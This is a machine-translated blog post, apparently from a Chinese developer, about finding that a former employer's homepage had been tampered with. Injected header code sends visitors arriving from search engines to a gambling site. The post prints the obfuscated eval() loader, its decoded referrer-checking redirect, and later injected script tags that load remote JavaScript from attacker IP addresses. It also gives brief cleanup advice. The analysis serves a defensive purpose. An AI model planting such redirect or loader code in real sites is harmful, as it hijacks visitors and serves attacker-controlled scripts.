当前位置:网站首页>Remember the experience of automatically jumping to spinach station when the home page was tampered with
Remember the experience of automatically jumping to spinach station when the home page was tampered with
2022-07-03 21:22:00 【Magical star anise】
Preface #
A few days ago , Baidu search former owner's website , Suddenly found the website description It becomes the introduction of spinach station , This is a black rhythm .
Specifically, when you click to enter from the search engine , Will automatically jump to the spinach station , Directly enter the URL to access without jumping ,
screening #
All problems are under the source code , There is no hiding , Such jump , Usually in header in , This jump is fast , Sure enough , stay header Found a piece of code in , as follows
It is ENV Encrypted , It's not convenient to read .
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3("<4 8=\\"a\\">");2.3("d s=2.6");2.3("7(s.1(\\"9\\")>0 || s.1(\\"b\\")>0 || s.1(\\"c\\")>0 ||s.1(\\"r\\")>0 ||s.1(\\"e\\")>0 ||s.1(\\"f\\")>0 ||s.1(\\"g\\")>0 ||s.1(\\"h\\")>0 )");2.3("i.j=\\"k://l.m.n.o:p/q.5\\";");2.3("</4>");',29,29,'|indexOf|document|writeln|script|html|referrer|if|LANGUAGE|baidu|Javascript|sogou|soso|var|uc|bing|yahoo|so|location|href|http|103|37|233|13|888|bcs|sm|'.split('|'),0,{}))
After decryption
<script LANGUAGE="Javascript">;
var s=document.referrer;
if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )
location.href="http://103.37.233.13:888/bcs.html";
</script>
principle #
- Get sources
- Whether the match comes from a qualified search engine
- If yes, jump to the specified page
It can be seen that the search engine matching this code basically covers the domestic mainstream ( Baidu , sogou ,360 Search for , What a horse ,uc,bing, Yahoo ), As long as you search through these browsers , Will jump to the spinach station .
And directly enter the website , Does not trigger a jump , So there is a certain degree of concealment
Solution #
- Will this period of js Just delete the code
- Check for server or program vulnerabilities , Check why it was invaded , Now the server is mined , It's also very common , After being blacked out , Pay more attention to whether it is mined
follow-up #
Found that they upgraded , Insert in the head
<script type="text/javascript" rel="nofollow" src="http://103.30.4.96:7889/js/SCur.js" ></script>
They also joined Baidu statistics
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?9a4c62a1985e8fbd8d0ce7c1a54070d1";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
document.write("<script language=\"javascript\" type=\"text/javascript\" src=\"http://103.30.4.96:7889/js/PicLeft.js\"></script>");
The principle is still the same , However, statistics are added , It may be more convenient to monitor the number of views , Jump more times , It is also convenient for them to change the control script
I sent a reminder to my former colleagues , I searched the station , There are not a few websites hacked by similar methods , Give some websites with contact information , By the way, I sent a reminder , I want to receive a thank you , result .........
边栏推荐
- flink sql-client 退出,表就会被清空怎么办?
- 大神们,我想发两个广播流1 从mysql加载基础数据,广播出去2 从kafka加载基础数据的变更
- Global and Chinese market of recycled yarn 2022-2028: Research Report on technology, participants, trends, market size and share
- 2022-02-15 Daily: 2022 AAAI fellow release
- MySQL -- standardize database design
- Measurement fitting based on Halcon learning -- Practice [1]
- Global and Chinese market of wireless hard disk 2022-2028: Research Report on technology, participants, trends, market size and share
- 一台服务器最大并发 tcp 连接数多少?65535?
- Solve the problem that openocd fails to burn STM32 and cannot connect through SWD
- Kubernetes abnormal communication network fault solution ideas
猜你喜欢
强化學習-學習筆記1 | 基礎概念
[gd32l233c-start] 5. FLASH read / write - use internal flash to store data
Hcie security Day10: six experiments to understand VRRP and reliability
使用dnSpy对无源码EXE或DLL进行反编译并且修改
Is it OK for fresh students to change careers to do software testing? The senior answered with his own experience
Measurement fitting based on Halcon learning -- Practice [1]
Goodbye 2021, how do programmers go to the top of the disdain chain?
内存分析器 (MAT)
(5) User login - services and processes - History Du touch date stat CP
Single page application architecture
随机推荐
Solve the problem that openocd fails to burn STM32 and cannot connect through SWD
MySQL - idea connects to MySQL
UI automation test: selenium+po mode +pytest+allure integration
Apprentissage intensif - notes d'apprentissage 1 | concepts de base
Advanced collaboration: coroutinecontext
Sort out several network request methods of JS -- get rid of callback hell
[gd32l233c-start] 5. FLASH read / write - use internal flash to store data
Baohong industry | good habits that Internet finance needs to develop
XAI+网络安全?布兰登大学等最新《可解释人工智能在网络安全应用》综述,33页pdf阐述其现状、挑战、开放问题和未来方向
Rhcsa third day notes
Transformation between yaml, Jason and Dict
Après 90 ans, j'ai démissionné pour démarrer une entreprise et j'ai dit que j'allais détruire la base de données Cloud.
Great gods, I want to send two broadcast streams: 1. Load basic data from MySQL and 2. Load changes in basic data from Kafka
Let me ask you a question. Have you ever used the asynchronous io of Flink SQL to associate dimension tables in MySQL? I set various settings according to the official website
Collections SQL communes
For in, foreach, for of
如临现场的视觉感染力,NBA决赛直播还能这样看?
MySQL——数据库备份
Compilation Principle -- syntax analysis
Is it OK for fresh students to change careers to do software testing? The senior answered with his own experience